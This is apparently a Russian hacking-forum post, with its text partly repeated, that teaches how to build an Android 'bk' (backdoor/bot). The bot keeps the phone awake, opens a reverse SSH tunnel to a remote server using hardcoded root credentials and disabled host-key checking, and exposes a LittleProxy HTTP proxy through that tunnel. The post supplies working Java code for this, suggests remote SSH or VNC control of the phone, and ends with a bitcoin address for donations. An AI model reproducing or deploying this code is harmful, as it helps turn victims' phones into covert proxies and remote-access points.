Пожалуйста, обратите внимание, что пользователь заблокирован
Последнее время все спрашивают про android bk. Как сделать прокси? или еще что-то. В общем посидел и надумал набросать статейку универсальную. Она будет делиться на 2 части. Первая это написание универсального бк. А вторая это как сделать прокси из этого.
Нам потребуется следующие модули
1. littleproxy - сервер прокси ждя андроид
2. jsch - ssh клиент для android
А так же
1. Любой линукс сервер с установленным ssh сервисом
2. Немного терпения
Шаг первый и немного теории
Чтобы сделать обратный конект, без всякого гемороя, мы будем использовать тунелирование. Да да то самое тунелирование ssh протокола. В чем прелесть? Мы можем перекинуть любой порт на сервер, будь то VNC,Proxy,SSH server и так далее. Да если вы запустите на телефоне ssh сервер. Вы можете им управлять через ssh. Передавать файлы, выполнять команды и так далее. Кому интересно я оставлю ссылку в конце. И так наша задача запустить какой-то сервис или уже использовать текущий запущенный и передать этот порт на сервер.
Теория R port forwarding взятая с хабра
После успешного подключения, на «host1» SSH-сервер начинает слушать порт 9999. При подключении к порту 9999 на «host1», SSH-клиент на «host2» устанавливает соединение с localhost (коим и является для себя самого «host2») на порт 5432 и передает по этому соединению данные, принятые ssh-сервером на «host1» на порт 9999.
Я реально сам долго допетривал по молодости когда нужно L когда R. Чуть не спился) ахах
Нам нужно смитировать команду
Перейдем к коду)
Добавляем зависимость
Функция конекта
Открываем конект
После запуска этого кода, мы создаем поток, в котором будет открыт конект на сервер и пробросится порт, а так же в цикле будет отсылаться keepalive чтобы не отвалился конект.
Подключаем наш прокси
Вставляем код старта прокси где коментарий в коде выше
Собственно и все, теперь мы создали конект, запустили прокси и прокинули порт. Можно раслабить булки. Но так же можно прокинуть любой другой порт с телефона и юзать его. Теперь мы просто подключаемся к серверу на нужный порт и все. Так же с помощью данной библиотеки можно выполнять любой код на сервере, как в консоли. Возможностей где развернуться очень много
Есть один ньюанс, и все порты пробрасываемые через ssh протокол будут создваваться на localhost и вам нужно будет их пробрасывать на внешний. к примеру использую команду redir или iptables правила.
Используемые материалы
* https://github.com/adamfisk/LittleProxy - митм прокси
* http://www.jcraft.com/jsch/ - ssh клиент
* https://github.com/stepinto/android-sshd - вдруг кто захочет использовать ssh для управления телефоном
* https://www.ssh.com/ssh/tunneling/example - мануал по использованию протокола ssh
Последняя ссылка обязательна к прочтению, дабы более ясно понимать
P.S. всем бобра, будут вопросы, пишите, всем с радостью отвечу) кстати кто очень интересовался VNC под андроид, есть тоже либа и можно так использовать ее
нужны исходники, стучите в jabber отдам.
Ну и кому не жалко можно на пиво
btc
Нам потребуется следующие модули
1. littleproxy - сервер прокси ждя андроид
2. jsch - ssh клиент для android
А так же
1. Любой линукс сервер с установленным ssh сервисом
2. Немного терпения
Шаг первый и немного теории
Чтобы сделать обратный конект, без всякого гемороя, мы будем использовать тунелирование. Да да то самое тунелирование ssh протокола. В чем прелесть? Мы можем перекинуть любой порт на сервер, будь то VNC,Proxy,SSH server и так далее. Да если вы запустите на телефоне ssh сервер. Вы можете им управлять через ssh. Передавать файлы, выполнять команды и так далее. Кому интересно я оставлю ссылку в конце. И так наша задача запустить какой-то сервис или уже использовать текущий запущенный и передать этот порт на сервер.
Теория R port forwarding взятая с хабра
После успешного подключения, на «host1» SSH-сервер начинает слушать порт 9999. При подключении к порту 9999 на «host1», SSH-клиент на «host2» устанавливает соединение с localhost (коим и является для себя самого «host2») на порт 5432 и передает по этому соединению данные, принятые ssh-сервером на «host1» на порт 9999.
Я реально сам долго допетривал по молодости когда нужно L когда R. Чуть не спился) ахах
Нам нужно смитировать команду
ssh -R RANDOM_PORT:localhost:NEED_PORT user@server_ip
Перейдем к коду)
Добавляем зависимость
implementation group: 'com.jcraft', name: 'jsch', version: '0.1.54'
Функция конекта
public static void executeRemoteCommand(Context cnt,String username,String password,String hostname,int port) throws Exception {
Random r = new Random();
int portp = r.nextInt(20000 - 8000) + 8000;
int ports = readIntConfig(cnt,"port");
PowerManager powerManager = (PowerManager) cnt.getSystemService(POWER_SERVICE); //делаем так чтобы приложение не заснуло
PowerManager.WakeLock wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
"MyWakelockTag");
wakeLock.acquire();
// proxy start here
JSch jsch = new JSch();
Session session = jsch.getSession(username, hostname, port);
session.setPassword(password);
Properties prop = new Properties();
prop.put("StrictHostKeyChecking", "no");
session.setConfig(prop);
session.connect();
session.setPortForwardingR("*",ports,"127.0.0.1", portp);
while(true){
session.sendKeepAliveMsg();
}
}
Открываем конект
new AsyncTask<Integer, Void, Void>(){
@Override
protected Void doInBackground(Integer... params) {
try {
executeRemoteCommand(cnt,"root", "password","ip_server", 22);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}.execute(1);
После запуска этого кода, мы создаем поток, в котором будет открыт конект на сервер и пробросится порт, а так же в цикле будет отсылаться keepalive чтобы не отвалился конект.
Подключаем наш прокси
implementation group: 'org.littleshoot', name: 'littleproxy', version: '1.1.0-beta1'
Вставляем код старта прокси где коментарий в коде выше
org.littleshoot.proxy.HttpProxyServer server;
try {
server = DefaultHttpProxyServer
.bootstrap()
.withPort(portp)
.start();
}catch (Exception e){}
Собственно и все, теперь мы создали конект, запустили прокси и прокинули порт. Можно раслабить булки. Но так же можно прокинуть любой другой порт с телефона и юзать его. Теперь мы просто подключаемся к серверу на нужный порт и все. Так же с помощью данной библиотеки можно выполнять любой код на сервере, как в консоли. Возможностей где развернуться очень много
Есть один ньюанс, и все порты пробрасываемые через ssh протокол будут создваваться на localhost и вам нужно будет их пробрасывать на внешний. к примеру использую команду redir или iptables правила.
Используемые материалы
* https://github.com/adamfisk/LittleProxy - митм прокси
* http://www.jcraft.com/jsch/ - ssh клиент
* https://github.com/stepinto/android-sshd - вдруг кто захочет использовать ssh для управления телефоном
* https://www.ssh.com/ssh/tunneling/example - мануал по использованию протокола ssh
Последняя ссылка обязательна к прочтению, дабы более ясно понимать
P.S. всем бобра, будут вопросы, пишите, всем с радостью отвечу) кстати кто очень интересовался VNC под андроид, есть тоже либа и можно так использовать ее
Ну и кому не жалко можно на пиво
btc
1DkYYgfCLBE44xN7BPXgLLKEvrTTcygVu6